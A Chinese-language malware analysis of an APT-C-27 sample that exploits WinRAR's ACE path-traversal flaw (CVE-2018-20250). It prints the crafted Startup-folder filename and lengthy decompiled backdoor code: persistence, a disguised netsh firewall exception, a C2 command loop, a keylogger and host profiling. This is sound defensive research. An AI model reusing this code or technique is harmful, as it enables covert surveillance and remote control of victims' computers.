Skip to content

CVE-2018-20250 WinRAR 漏洞利用样本分析

· 35 min

前言:Exploit 与普通病毒的区别#

在分析样本之前,我们需要厘清“漏洞利用(Exploit)”与普通恶意软件的界限。

普通病毒通常依赖“社会工程学”——诱骗用户双击一个 .exe 文件。如果用户不点,病毒就无法运行。而 Exploit(漏洞利用) 则更加危险且隐蔽。它利用合法软件(如 WinRAR, Word, Chrome)自身的代码缺陷(漏洞)。你并没有运行任何可疑程序,只是像往常一样打开了一个文档或解压了一个压缩包。但因为处理这个文件的软件(如 WinRAR)本身存在逻辑缺陷(漏洞),就在你点击解压的那一瞬间,攻击代码就已经在后台悄无声息地执行了。

本文将分析著名的 APT-C-27(黄金鼠) 组织使用的攻击样本。它利用了 WinRAR 中一个沉睡了 19 年的陈旧代码库(UNACEV2.DLL),利用CVE-2018-20250 漏洞将木马植入受害者电脑的典型案例。

样本概览#

MD5: 314E8105F28530EB0BF54891B9B3FF69

SHA1: 8C9B88EE829B880E4AF8B7CD7DCCCC16FAA2E413

第一阶段:特洛伊木马的容器#

核心机制:恶意构造的 ACE 压缩包

样本表面上看起来是一个无害的压缩包(可能伪装成图片包或文档包),用户习惯性地使用 WinRAR 进行解压。

image-20241009181114699

正常情况下,你把一个文件解压到桌面,它就应该在桌面。但这个压缩包被黑客修改过,它告诉 WinRAR:“请把我解压到桌面的同时,顺便把这个文件悄悄放到系统的‘启动’文件夹里去。” 由于 WinRAR 存在漏洞,它没有检查这个路径是否越界,直接照做了。

image-20260117230104946

第二阶段:突破边界与精准投递#

核心行为:目录穿越

这是本样本作为 Exploit 最精彩的部分。攻击者并没有通过编写复杂的 Shellcode 来溢出内存,而是利用了逻辑漏洞

路径穿越原理#

在正常的压缩包中,文件名是 1.docx。 但在恶意构造的 ACE 包中,文件名被修改为:C:\C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\Telegram Desktop.exe

image-20260118220134329

漏洞成因#

WinRAR 在调用旧版的 UNACEV2.DLL 处理 ACE 格式时,没有对解压路径中的 ..\ 或绝对路径进行过滤。

此时,用户在解压目录下可能只看到了一张无关紧要的图片(作为掩护),殊不知致命的木马已经绕过防御,部署到了开机自启位置。

image-20241009181556546

第三阶段:触发与核心调度#

核心策略:重启即中招 + 高仿伪装

当受害者重启计算机时,位于启动目录的 Telegram Desktop.exe 被执行。此时,控制权交给了恶意代码的入口函数。

mermaid-diagram

高仿伪装#

样本采用了极具欺骗性的伪装策略。

核心中枢:ko() 函数分析#

ko() 是该后门样本的主入口函数,它扮演着“指挥官”的角色,负责初始化环境、启动功能模块并维护自身运行。

public static void ko()
{
// ========== 第一步:命令行参数检测+注册表标记 ==========
if (Interaction.Command() != null) // 检测是否有命令行启动参数(如静默启动/更新)
{
try
{
// 写入注册表标记"di"="!":标记程序通过命令行启动,用于后续逻辑判断
OK.F.Registry.CurrentUser.SetValue("di", "!");
}
catch (Exception ex)
{
// 静默捕获,不暴露启动参数处理失败
}
Thread.Sleep(5000); // 延迟5秒:规避安全软件对“命令行启动后快速执行”的检测
}
// ========== 第二步:单实例运行(防多开暴露) ==========
bool isFirstInstance = false;
// 创建互斥体(Mutex):以OK.RG为唯一标识,确保仅一个恶意进程运行
OK.MT = new Mutex(true, OK.RG, ref isFirstInstance);
if (!isFirstInstance) // 已有实例运行→直接退出,避免多进程暴露
{
ProjectData.EndApp();
}
// ========== 第三步:启动持久化+自保护模块(INS) ==========
OK.INS(); // 调用之前分析的INS函数:完成文件自复制、防火墙白名单、注册表/启动文件夹自启
// ========== 第四步:初始化恶意程序路径参数 ==========
if (!OK.Idr)
{
OK.EXE = OK.LO.Name; // 重置恶意程序文件名
OK.DR = OK.LO.Directory.Name; // 重置恶意程序所在目录
}
// ========== 第五步:启动C2通信线程(RC) ==========
// 新建线程启动RC函数(C2通信循环),栈大小1MB:降低资源占用,避免主线程阻塞
Thread thread = new Thread(new ThreadStart(OK.RC), 1);
thread.Start();
// ========== 第六步:启动键盘记录线程(WRK) ==========
try
{
OK.kq = new kl(); // 实例化键盘记录类(kl)
thread = new Thread(new ThreadStart(OK.kq.WRK), 1); // 启动WRK键盘记录函数
thread.Start();
}
catch (Exception ex2)
{
// 键盘记录启动失败不影响主流程:静默捕获,保证C2通信等核心功能运行
}
// ========== 第七步:系统事件监听(关机/注销收尾) ==========
int num = 0;
string lastActState = "";
if (OK.BD) // OK.BD为true时,监听系统会话结束事件
{
try
{
// 注册SessionEnding事件(用户注销/系统关机):触发时调用OK.ED()收尾(清理痕迹)
SystemEvents.SessionEnding += delegate(object a0, SessionEndingEventArgs a1)
{
OK.ED();
};
OK.pr(1); // 调整进程优先级(1=低优先级):降低CPU占用,规避检测
}
catch (Exception ex3)
{
}
}
// ========== 第八步:核心守护循环(无限运行,维护恶意状态) ==========
checked
{
for (;;) // 无限循环:持续守护,直到进程被终止
{
Thread.Sleep(1000); // 1秒延迟:极低CPU占用,用户/安全软件无感知
if (!OK.Cn) lastActState = ""; // C2断开时重置状态标记
Application.DoEvents(); // 处理消息循环,避免程序假死
try
{
num++;
// 每5次循环:调整进程最小工作集,降低内存占用
if (num == 5)
{
try
{
// 限制进程最小工作集为1024字节:减少内存占用,规避“高内存可疑进程”检测
Process.GetCurrentProcess().MinWorkingSet = (IntPtr)1024;
}
catch (Exception ex4)
{
}
}
// 每8次循环:检测系统激活状态,变化则上报C2
if (num >= 8)
{
num = 0;
string currentActState = OK.ACT(); // 获取系统激活状态/恶意程序运行状态
if (Operators.CompareString(lastActState, currentActState, false) != 0)
{
lastActState = currentActState;
OK.Send("act" + OK.Y + currentActState); // 向C2上报状态变化
}
}
// 自修复:检查注册表自启项,被修改则重新写入(保证持久化不失效)
if (OK.Isu)
{
try
{
// 检查HKCU自启项:被删除/修改则重新写入
if (Operators.ConditionalCompareObjectNotEqual(
OK.F.Registry.CurrentUser.GetValue(OK.sf + "\\" + OK.RG, ""),
"\"" + OK.LO.FullName + "\" ..", false))
{
OK.F.Registry.CurrentUser.OpenSubKey(OK.sf, true).SetValue(OK.RG, "\"" + OK.LO.FullName + "\" ..");
}
}
catch (Exception ex5)
{
}
try
{
// 检查HKLM自启项:被删除/修改则重新写入(高权限尝试)
if (Operators.ConditionalCompareObjectNotEqual(
OK.F.Registry.LocalMachine.GetValue(OK.sf + "\\" + OK.RG, ""),
"\"" + OK.LO.FullName + "\" ..", false))
{
OK.F.Registry.LocalMachine.OpenSubKey(OK.sf, true).SetValue(OK.RG, "\"" + OK.LO.FullName + "\" ..");
}
}
catch (Exception ex6)
{
}
}
}
catch (Exception ex7)
{
// 守护循环异常不终止:静默捕获,保证恶意程序持续运行
}
}
}
}

根据逆向分析,ko() 的执行流程如下:

  1. 单实例互斥检测:

    // 创建互斥体,防止多个木马实例同时运行暴露
    OK.MT = new Mutex(true, OK.RG, ref isFirstInstance);
    if (!isFirstInstance) ProjectData.EndApp();
  2. 调用安装模块 (INS): 调用 OK.INS() 函数(详见后文),完成文件搬运、隐藏和注册表持久化设置。

  3. 启动多线程任务: ko() 并不直接执行恶意行为,而是创建多个线程并行工作,避免主程序卡死:

    • C2 通信线程: new Thread(new ThreadStart(OK.RC)) —— 负责连接服务器接收指令。
    • 键盘记录线程: new Thread(new ThreadStart(OK.kq.WRK)) —— 负责后台记录按键。
  4. 无限守护循环: 这是 ko() 函数最后也是最关键的部分。它进入一个 for(;;) 死循环,充当“守护进程”:

    • 心跳休眠: Thread.Sleep(1000),降低 CPU 占用。
    • 内存优化: 定期调整 MinWorkingSet,减少内存占用以隐藏踪迹。
    • 注册表守护: 它会不断检测注册表自启项 HKCU\...\Run。如果用户或杀软删除了该启动项,ko() 会立即重新写入,实现“删不掉”的顽固效果。

第四阶段:后门模块展开 (Payload)#

1. 持久化与隐藏:INS() 函数#

ko() 在初始化阶段调用。

// 双重持久化:复制到系统启动文件夹(OK.IsF为true时执行)
if (OK.IsF)
{
try
{
// Environment.GetFolderPath(7):对应「启动文件夹」(Environment.SpecialFolder.Startup 的枚举值为7)
// 复制恶意程序到启动文件夹,覆盖已有文件,命名为OK.RG.exe
File.Copy(OK.LO.FullName, Environment.GetFolderPath((Environment.SpecialFolder)7) + "\\" + OK.RG + ".exe", true);
// 打开文件流(3=FileMode.Open):占用文件,防止被安全软件删除(自保护)
OK.FS = new FileStream(Environment.GetFolderPath((Environment.SpecialFolder)7) + "\\" + OK.RG + ".exe", FileMode.Open);
}
}
// 自保护:添加防火墙白名单(避免恶意程序被防火墙拦截)
try
{
// 核心逻辑:执行cmd命令「netsh advfirewall firewall add allowedprogram "程序路径" "程序名" ENABLE」
// 关键混淆:"Exceptiona"是"netsh"的拼写篡改(规避安全软件对「netsh」的特征检测)
Interaction.Shell(string.Concat(new string[]
{
"Exceptiona firewall add allowedprogram \"",
OK.LO.FullName,
"\" \"",
OK.LO.Name,
"\" ENABLE"
}), 0, true, 5000);
}

2. 远程控制核心:RC() 与 Ind()#

这是木马的“耳朵”和“嘴巴”。

public static void RC()
{
checked // 启用溢出检查(恶意代码常用,避免因数据溢出崩溃)
{
// 核心无限循环:永不退出,确保持续与C2服务器通信
for (;;)
{
OK.lastcap = ""; // 清空捕获的临时数据(混淆变量,无实际语义)
// 检查是否已建立C2连接(OK.C是C2客户端对象,如Socket/TcpClient)
if (OK.C != null)
{
long dataLength = -1L; // 存储待接收数据的总长度
int loopCount = 0; // 循环计数,用于延迟规避检测
try
{
for (;;)
{
IL_1B: // 跳转标签:简化循环逻辑,恶意代码常用混淆手段
loopCount++;
// 每循环10次延迟1ms:规避安全软件对“高频循环”的行为检测
if (loopCount == 10)
{
loopCount = 0;
Thread.Sleep(1);
}
// 检查连接状态标记(OK.Cn=false表示连接断开),断开则退出内层循环
if (!OK.Cn)
{
break;
}
// 检查C2连接的网络流是否有可读取数据
if (OK.C.Available < 1)
{
// 无数据时阻塞等待(Poll(-1,0)表示无限等待数据)
OK.C.Client.Poll(-1, 0);
}
// 有数据时,循环读取并解析
while (OK.C.Available != 0)
{
// 第一步:未解析出数据长度时(dataLength=-1),先读取长度
if (dataLength == -1L)
{
string lengthStr = "";
for (;;)
{
// 逐字节读取,直到读到0(自定义协议:长度字符串以0结尾)
int byteData = OK.C.GetStream().ReadByte();
if (byteData == -1) // 流结束(连接断开)
{
goto Block_9; // 跳转到异常处理逻辑
}
if (byteData == 0) // 长度字符串结束符
{
break;
}
// 拼接长度字符串(混淆转换:ChrW转字符再转整数再转字符串,增加逆向难度)
lengthStr += Conversions.ToString(Conversions.ToInteger(Strings.ChrW(byteData).ToString()));
}
// 将长度字符串转为长整型(表示后续要接收的指令/数据长度)
dataLength = Conversions.ToLong(lengthStr);
// 长度为0时,向C2服务器发送空响应,重置长度标记
if (dataLength == 0L)
{
OK.Send("");
dataLength = -1L;
}
// 无后续数据则跳回循环开头
if (OK.C.Available <= 0)
{
goto IL_1B;
}
}
// 第二步:已解析出数据长度,读取对应字节数据
else
{
// 创建字节数组,长度为“剩余待接收数据长度”(避免内存溢出)
OK.b = new byte[OK.C.Available + 1];
long remainingLength = dataLength - OK.MeM.Length;
if (unchecked((long)OK.b.Length) > remainingLength)
{
OK.b = new byte[(int)(remainingLength - 1L) + 1];
}
// 从C2连接读取数据到字节数组
int readBytes = OK.C.Client.Receive(OK.b, 0, OK.b.Length, 0);
// 将读取的数据写入内存流(临时存储完整指令/数据)
OK.MeM.Write(OK.b, 0, readBytes);
// 数据接收完成(内存流长度=预设长度)
if (OK.MeM.Length == dataLength)
{
dataLength = -1L; // 重置长度标记
// 新建线程异步执行指令(避免阻塞通信循环)
Thread thread = new Thread(delegate(object a0)
{
// OK.Ind是核心指令执行方法(接收字节数组,解析并执行恶意指令)
OK.Ind((byte[])a0);
}, 1); // 线程栈大小设为1MB,规避检测
thread.Start(OK.MeM.ToArray()); // 传入完整数据
thread.Join(100); // 等待线程执行100ms,不阻塞主线程
// 清理内存流,准备接收下一条指令
OK.MeM.Dispose();
OK.MeM = new MemoryStream();
}
goto IL_1B; // 跳回循环开头,继续接收数据
}
}
break; // 无数据时退出while循环
}
Block_9:; // 连接断开时的跳转标记
}
catch (Exception ex)
{
// 静默捕获所有异常:无日志、无提示,避免暴露C2通信行为
}
}
// 连接断开后的清理+自动重连逻辑
do
{
try
{
// 清理插件/钩子对象(OK.PLG):避免残留被安全软件检测
if (OK.PLG != null)
{
// 反射调用clear方法:混淆调用方式,规避特征检测
NewLateBinding.LateCall(OK.PLG, null, "clear", new object[0], null, null, null, true);
OK.PLG = null;
}
}
catch (Exception ex2)
{
// 静默捕获异常
}
OK.Cn = false; // 标记连接断开
}
// 循环调用OK.connect()重连C2服务器,直到重连成功
while (!OK.connect());
OK.Cn = true; // 重连成功,恢复连接状态标记
}
}
}

3. 间谍行为:WRK() 与 Inf()#

public void WRK()
{
// 初始化:从注册表读取历史键盘日志(this.vn是注册表键名,OK.GTV=读取注册表值)
this.Logs = Conversions.ToString(OK.GTV(this.vn, ""));
checked // 启用溢出检查,避免日志拼接时内存溢出导致程序崩溃
{
try
{
int loopCount = 0; // 循环计数器,用于定期清理/存储日志
// 核心无限循环:永不退出,持续监听按键
for (;;)
{
loopCount++;
int keyCode = 0; // 按键码(0-255覆盖所有常用键盘按键)
do
{
// ========== 核心:检测按键是否被按下 ==========
// kl.GetAsyncKeyState(num2):检测指定按键码的按键状态(-32767=按下)
// !OK.F.Keyboard.CtrlKeyDown:排除Ctrl键按下的场景(避免误记录快捷键/规避检测)
if (kl.GetAsyncKeyState(keyCode) == -32767 & !OK.F.Keyboard.CtrlKeyDown)
{
Keys pressedKey = (Keys)keyCode; // 转换为Keys枚举(如Enter、A、1等)
string keyText = this.Fix(pressedKey); // 格式化按键(如Enter→[Enter]、空格→[Space])
if (keyText.Length > 0) // 过滤无效按键
{
this.Logs += this.AV(); // AV():可能是添加时间戳/分隔符(如[2026-01-18 10:00])
this.Logs += keyText; // 拼接按键内容到日志
}
this.lastKey = pressedKey; // 记录最后一次按下的键(避免重复记录)
}
keyCode++; // 遍历所有按键码(0-255)
}
while (keyCode <= 255); // 覆盖所有键盘按键(字母、数字、特殊键、功能键)
// ========== 定期清理+持久化日志(每1000次循环执行) ==========
if (loopCount == 1000)
{
loopCount = 0; // 重置计数器
// 限制日志大小:20KB(20*1024字节),避免日志过大触发安全检测
int maxLogSize = Conversions.ToInteger("20") * 1024;
if (this.Logs.Length > maxLogSize)
{
// 截断日志:仅保留最后maxLogSize长度的内容,删除早期日志
this.Logs = this.Logs.Remove(0, this.Logs.Length - maxLogSize);
}
// 持久化:调用STV函数将日志写入注册表(类型1=String)
OK.STV(this.vn, this.Logs, 1);
}
Thread.Sleep(1); // 1ms延迟:降低CPU占用,规避“高CPU占用”的行为检测
}
}
catch (Exception ex)
{
// 静默捕获所有异常:无日志、无弹窗、无错误提示,用户完全无感知
}
}
}
public static string inf()
{
// 初始化信息串:以"ll"+自定义分隔符OK.Y开头(指令标识+分隔符)
string infoStr = "ll" + OK.Y;
try
{
// ========== 第一步:采集设备唯一标识(硬件ID+注册表版本值,加密) ==========
if (Operators.ConditionalCompareObjectEqual(OK.GTV("vn", ""), "", false))
{
// 场景1:注册表"vn"值为空 → 解密OK.VN + 硬件唯一标识(OK.HWD)
string encryptedId = OK.DEB(ref OK.VN) + "_" + OK.HWD(); // OK.HWD=获取硬件ID(如主板/硬盘序列号)
infoStr += OK.ENB(ref encryptedId) + OK.Y; // OK.ENB=加密后拼接
}
else
{
// 场景2:注册表"vn"值非空 → 读取并解密vn值 + 硬件ID,加密拼接
string vnValue = Conversions.ToString(OK.GTV("vn", "")); // 读注册表"vn"值
string encryptedId = OK.DEB(ref vnValue) + "_" + OK.HWD();
infoStr += OK.ENB(ref encryptedId) + OK.Y;
}
}
catch (Exception ex)
{
// 采集失败:仅用硬件ID加密补充,不中断流程
string encryptedHwd = OK.HWD();
infoStr += OK.ENB(ref encryptedHwd) + OK.Y;
}
// ========== 第二步:采集机器名(失败填??) ==========
try
{
infoStr += Environment.MachineName + OK.Y; // 受害主机的计算机名(如DESKTOP-XXXX)
}
catch (Exception ex2)
{
infoStr += "??" + OK.Y; // 采集失败填充占位符,保证数据结构完整
}
// ========== 第三步:采集当前登录用户名(失败填??) ==========
try
{
infoStr += Environment.UserName + OK.Y; // 受害用户账号(如Administrator/张三)
}
catch (Exception ex3)
{
infoStr += "??" + OK.Y;
}
// ========== 第四步:采集恶意程序最后修改时间(失败填??-??-??) ==========
try
{
// OK.LO=恶意程序自身的FileInfo对象,采集最后修改日期(用于确认程序是否被篡改)
infoStr += OK.LO.LastWriteTime.Date.ToString("yy-MM-dd") + OK.Y;
}
catch (Exception ex4)
{
infoStr += "??-??-??" + OK.Y;
}
infoStr += "" + OK.Y; // 填充空字段,保持分隔符结构一致
// ========== 第五步:采集系统版本(精简字符串,规避特征检测) ==========
try
{
// 关键操作:替换系统版本关键词,规避安全软件特征检测
string osName = OK.F.Info.OSFullName
.Replace("Microsoft", "") // 移除"Microsoft",避免特征匹配
.Replace("Windows", "Win") // 替换为Win,混淆特征
.Replace("®", "") // 移除版权符号
.Replace("", "") // 移除商标符号
.Replace(" ", " ") // 去多余空格
.Replace(" Win", "Win"); // 精简空格
infoStr += osName;
}
catch (Exception ex5)
{
infoStr += "??";
}
// ========== 第六步:采集系统Service Pack版本(失败填0) ==========
infoStr += "SP";
try
{
string[] spArray = Strings.Split(Environment.OSVersion.ServicePack, " ", -1, 0);
if (spArray.Length == 1) infoStr += "0"; // 无SP则填0
infoStr += spArray[spArray.Length - 1]; // 取SP版本号(如SP1→1)
}
catch (Exception ex6)
{
infoStr += "0";
}
// ========== 第七步:采集系统位数(x86/x64,失败仅加分隔符) ==========
try
{
// Environment.SpecialFolder.ProgramFilesX86 = 38 → 该路径含x86表示64位系统
if (Environment.GetFolderPath((Environment.SpecialFolder)38).Contains("x86"))
{
infoStr += " x64" + OK.Y;
}
else
{
infoStr += " x86" + OK.Y;
}
}
catch (Exception ex7)
{
infoStr += OK.Y;
}
// ========== 第八步:检测摄像头是否存在(Yes/No) ==========
if (OK.Cam()) // OK.Cam():检测主机是否有摄像头(用于后续屏幕监控/偷拍)
{
infoStr += "Yes" + OK.Y;
}
else
{
infoStr += "No" + OK.Y;
}
// ========== 第九步:拼接额外配置/状态信息 ==========
infoStr += OK.VR + OK.Y; // OK.VR:可能是屏幕分辨率/程序版本号
infoStr += ".." + OK.Y; // 固定占位符,保持格式统一
infoStr += OK.ACT() + OK.Y; // OK.ACT():可能是系统激活状态/恶意程序激活状态
// ========== 第十步:采集恶意程序自定义注册表项的32位值(插件/配置ID) ==========
string regValues = "";
try
{
// 读取HKCU\Software\[OK.RG]下所有32位长度的注册表值(可能是插件ID/加密密钥)
foreach (string regName in OK.F.Registry.CurrentUser.CreateSubKey("Software\\" + OK.RG, 0).GetValueNames())
{
if (regName.Length == 32) // 32位长度→MD5/UUID类唯一标识
{
regValues += regName + ",";
}
}
}
catch (Exception ex8)
{
// 采集失败不影响整体,静默忽略
}
// 返回完整的信息字符串(供connect()函数上报C2)
return infoStr + regValues;
}

总结#

系统的安全性往往取决于最薄弱的那个环节。 WinRAR 主程序固然安全,但一个 2005 年编写、十几年来无人维护的动态链接库(UNACEV2.DLL),却成了攻破整个系统的特洛伊木马。

对于普通用户而言,防御此类 Exploit 攻击最有效的方法,往往不是安装杀毒软件,而是及时更新你的常用软件。因为在 Exploit 的世界里,时间就是最强的武器。